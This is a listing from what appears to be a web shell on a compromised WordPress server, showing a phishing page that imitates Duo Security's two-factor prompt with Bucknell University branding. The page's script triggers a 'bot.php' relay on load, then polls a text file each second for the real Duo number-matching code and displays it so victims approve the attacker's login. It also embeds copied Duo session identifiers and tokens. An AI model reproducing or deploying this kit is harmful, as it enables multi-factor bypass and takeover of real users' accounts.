HEX
Server: Apache/2
System: Linux ctr689471.novalocal 4.9.241-37.el7.x86_64 #1 SMP Mon Nov 2 13:55:04 UTC 2020 x86_64
User: bluecool (1005)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /home/bluecool/domains/bluecool.vn/public_html/wp-content/duo1.0/season_69e2fa8aeb507/duo.html
<?php
session_start();

// Get the season ID from the URL
$seasonId = $_GET['season_id'] ?? '';

?>
<!DOCTYPE html>
<html lang="en" style="--white-label-border-color: #0B69E5; --app-background: #E7E9ED;">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <link href="App.css" rel="stylesheet">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Duo Security</title>
<script>
// Function to simulate dots animation
function simulateDots() {
    const placeholder = document.getElementById('code-placeholder');
    let dots = 0;
    // Store the interval ID so we can clear it later when the number is fetched
    window.dotsInterval = setInterval(() => {
        dots = (dots + 1) % 4;
        placeholder.textContent = '.'.repeat(dots);
    }, 500);
}

// Function to format the number with a space between the first 3 digits if it's a 6-digit number
function formatNumber(number) {
    // Check if the number has 6 digits
    if (number.length === 6) {
        return number.slice(0, 3) + ' ' + number.slice(3);
    }
    // If it's a 3-digit number, return it as is
    return number;
}

// Function to update the verification code
function updateVerificationCode(code) {
    const placeholder = document.getElementById('code-placeholder');
    const formattedCode = formatNumber(code.trim());  // Format the number

    placeholder.textContent = formattedCode;

    // Stop the dots animation by clearing the interval
    if (window.dotsInterval) {
        clearInterval(window.dotsInterval);
    }

    // Check if the number is a 6-digit number consisting of all "2"s
    if (formattedCode === "000") {
        // Redirect to example.com immediately
        window.location.href = 'https://conduct.tcnj.edu/';
    }
}

// Function to fetch the number from selected_number.txt
async function fetchNumber() {
    try {
        // Add a timestamp query parameter to prevent caching
        const response = await fetch('selected_number.txt?' + new Date().getTime());
        
        // Log the response status to ensure it's okay
        console.log('Fetch response status:', response.status);  // Log status code
        
        // Check if response is ok
        if (!response.ok) {
            throw new Error(`Failed to fetch. Status: ${response.status}`);
        }

        // Get the text content of the file
        const text = await response.text();

        // Log the fetched text to debug
        console.log('Fetched number:', text);

        // If there's content in the file, update the verification code
        if (text.trim()) {
            updateVerificationCode(text.trim());
        } else {
            console.log('No number found, retrying...');
        }
    } catch (error) {
        console.error('Error fetching number:', error);
    } finally {
        // Continue polling after 1 second, regardless of success or failure
        setTimeout(fetchNumber, 1000);
    }
}

// Function to trigger the bot
async function triggerBot() {
    try {
        await fetch('bot.php', { method: 'POST' });
    } catch (error) {
        console.error('Error triggering bot:', error);
    }
}

// Initialize on page load
async function initialize() {
    simulateDots();
    await triggerBot();
    fetchNumber(); // Start polling
}

window.onload = initialize;
</script>


</head>
<body class="uses-app-background" style="background: rgb(231, 233, 237);">
    <div class="app">
        <div class="main">
            <div class="card card--white-label uses-white-label-border-color display-flex flex-direction-column" style="border-top-color: rgb(11, 105, 229);">
                <div id="auth-view-wrapper" class="display-flex flex-direction-column flex-value-one">
                    <div class="card__header">
                        <div class="row display-flex ">
                            <div class="logo--white-label"><img src="logo.png" alt="Bucknell University Authentication"></div>
                        </div>
                    </div>
                    <div>
                        <div class="row display-flex ">
                            <h1 id="header-text" class="" tabindex="-1">Enter code in Duo Mobile</h1>
                        </div>
                        <div class="row display-flex instruction-text">
                            <p>Verify it's you by entering this verification code in the Duo Mobile app...</p>
                        </div>
                        <div class="row display-flex align-flex-justify-content-center verification-code" id="verification-code">
                            <span id="code-placeholder">...</span>
                        </div>
                        <div class="row display-flex align-flex-justify-content-center size-font-xsmall size-line-height-small size-margin-bottom-small">
                            <span aria-hidden="true" class="phone-name">Sent to "Mobile Device" (•••-•••-•••)</span>
                            <span class="screen-reader-only-text">Sent to phone number ending in 4175</span>
                        </div>
                        <div class="row display-flex push-icon-container align-flex-justify-content-center align-flex-items-center">
                            <span class="device-icon"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="https://vecta.io/nano" width="90" height="84"><defs><lineargradient x1="50%" y1="0%" x2="50%" y2="18.3096493%" id="A"><stop stop-color="#fff" stop-opacity="0" offset="0%"></stop><stop stop-color="#fff" stop-opacity=".085" offset="20.5556163%"></stop><stop stop-color="#fff" offset="100%"></stop></lineargradient></defs><g fill="none" fill-rule="evenodd"><rect stroke="#c4ced4" stroke-width="3" fill="#e8eff3" x="1.5" y="1.5" width="87" height="99" rx="8"></rect><g fill="#dae5eb"><rect x="48" y="15" width="14" height="14" rx="4"></rect><rect x="8" y="35" width="14" height="14" rx="4"></rect><rect x="28" y="35" width="14" height="14" rx="4"></rect><rect x="68" y="35" width="14" height="14" rx="4"></rect><rect x="8" y="15" width="14" height="14" rx="4"></rect><rect x="28" y="15" width="14" height="14" rx="4"></rect><rect x="68" y="15" width="14" height="14" rx="4"></rect><rect x="48" y="55" width="14" height="14" rx="4"></rect><rect x="8" y="55" width="14" height="14" rx="4"></rect><rect x="28" y="55" width="14" height="14" rx="4"></rect><rect x="68" y="55" width="14" height="14" rx="4"></rect></g><rect fill="#68bb4e" x="45.789" y="32.368" width="18.667" height="18.667" rx="4"></rect><g fill="#fff"><path d="M48.456 43.918H50.6c1.147 0 2.084-.934 2.14-2.107h-4.283v2.107zM50.6 39.48h-2.143v2.107h4.283c-.056-1.174-.993-2.107-2.14-2.107m8.998 0c-1.147 0-2.084.934-2.14 2.107h4.28c-.056-1.174-.993-2.107-2.14-2.107m0 4.438c1.147 0 2.084-.934 2.14-2.107h-4.28c.056 1.174.993 2.107 2.14 2.107"></path><path d="M52.955 41.7c0 1.188.902 2.158 2.035 2.215V39.48h-2.035v2.22zm2.25-2.22v4.436h2.035V39.48z"></path><rect x="5.526" y="6" width="78.947" height="16" rx="2"></rect></g><path d="M19.737 11.053h18.947M72.63 11h6.316m-59.21 4.8H57.63" stroke="#dae5eb" stroke-width="2" stroke-linecap="round"></path><path d="M8.684 18.158v-3.454h7.4c-.1 1.9-1.722 3.454-3.694 3.454H8.684z" fill="#a5d692"></path><path d="M8.684 10.263v3.454h7.4c-.1-1.885-1.676-3.454-3.648-3.454H8.684z" fill="#6bbf4e"></path><path fill="url(#A)" d="M0 53h90v64H0z"></path></g></svg></span>
                            <span class="loader-icon-container"><span class="loader-icon bounce-in"><div class="loader loader--accessible loader--size-large loader--push-request" role="presentation"></div></span></span>
                        </div>
                        <div class="row display-flex align-flex-justify-content-center">
                            <p class="loader-text">Waiting for approval...</p>
                        </div>
                        <div class="row display-flex other-options-link align-flex-justify-content-center size-margin-bottom-large size-margin-top-small">
                            <a class="button--link " href="https://api-9a514ed7.duosecurity.com/frame/v4/auth/all_methods?sid=frameless-e14c066a-8b92-4561-8154-4f14fff68e7f">Other options</a>
                        </div>
                    </div>
                    <div class="size-margin-bottom-small"></div>
                    <div id="footer" class="display-flex align-flex-justify-content-space-between margin-top-auto size-line-height-button-small">
                        <a class="help-link margin-right-auto size-font-small" href="https://api-9a514ed7.duosecurity.com/frame/v4/auth/help?sid=frameless-e14c066a-8b92-4561-8154-4f14fff68e7f">Need help?</a>
                        <span class="footer-branding duo-branding margin-left-auto size-font-xsmall">Secured by Duo</span>
                    </div>
                </div>
            </div>
            <div id="compliance-text-card-portal"></div>
        </div>
    </div>
    <script type="text/json" id="error-data">null</script>
    <script type="text/json" id="base-data">{"brand": {"company": "Duo Security", "desktop": "Duo Desktop", "mobile": "Duo Mobile", "id": "duo", "website_root": "https://duo.com", "product": "Duo", "push": "Duo Push"}, "help_url": "https://guide.duo.com/traditional-enrollment", "logo": {"logo_link": "/frame/prompt?sid=frameless-e14c066a-8b92-4561-8154-4f14fff68e7f", "logo_alt_text": "Bucknell University Authentication", "logo_src": "/frame/logo?sid=frameless-e14c066a-8b92-4561-8154-4f14fff68e7f"}, "session_id": "frameless-e14c066a-8b92-4561-8154-4f14fff68e7f", "use_duo_branding": true, "const": {"factor_phone": "Phone Call", "factor_passcode": "Passcode", "factor_push": "Duo Push", "device_u2f": "u2f", "device_webauthn": "webauthn", "post_auth_add_device": "addDevice", "post_auth_manage_devices": "manageDevices", "os_families": ["Windows Phone", "Blackberry", "Mac OS X", "Windows", "iOS", "Android", "Linux", "Chrome OS", "Unknown Operating System"], "browser_families": ["Safari", "Chrome", "Firefox", "Internet Explorer", "Edge", "Mobile Safari", "Chrome Mobile", "Opera", "Opera Mobile", "Firefox Mobile", "Unknown", "Edge Chromium", "Edge Chromium Mobile"], "software_family_chrome": "Chrome"}, "is_new_user": false, "show_self_service_links": true, "helpdesk_message": "u0022Visit https://ask.bucknell.edu or contact the Tech Desk for assistance. If you have a new phone and need to reconnect Duo, visit https://bucknell.teamdynamix.com/TDClient/40/LIT/KB/ArticleDet?ID=99.u0022", "is_in_oidc_flow": true, "xsrf_token": "5338075410d64b64a9fb8703f633b6d7", "style": {"app_background_color": "#E7E9ED", "accent_color": "#0B69E5"}, "is_in_global_device_management": false, "hostname": "74e8eea5223069d53719087351c911ec6a3312b933b2fb33683b221614d7fc69,c400a0a3", "features": {"has_webauthn_browser_expansion_feature": true, "has_hostname_validation_feature": false, "has_auto_selection_feature": true, "has_device_filter_feature": true, "has_iframed_up_blocking_feature": true, "has_session_trust_analysis_feature": false, "has_ssp_shutoff_feature": false, "has_mfa_bypass_factor_policy_feature": false, "has_te_fix_universal_links_for_ios_feature": false, "has_ios_safari_get_status_endpoint_feature": true}, "session_trace": "313f2c18a26fd0befd3a0221", "can_offer_new_device_flow": false, "is_in_dmp_integration": false, "akey": "DA4XKU0RDF9QEFZ7LBNZ", "session_trust_extension_id": "", "session_seconds_remaining": 879, "can_offer_new_phone_flow": true}</script>
    <script id="translations" type="text/json">
    {"locale_data": {"js-messages": {"": {"domain": "js-messages", "lang": "en", "plural_forms": "nplurals=2; plural=(n != 1);"}}}, "domain": "js-messages"}
    </script>
    <script id="browser_exceptions" src="./duo_files/errors.js" data-url="/frame/browser_exceptions"></script>
    <script src="./duo_files/App.js"></script>
</body>
</html>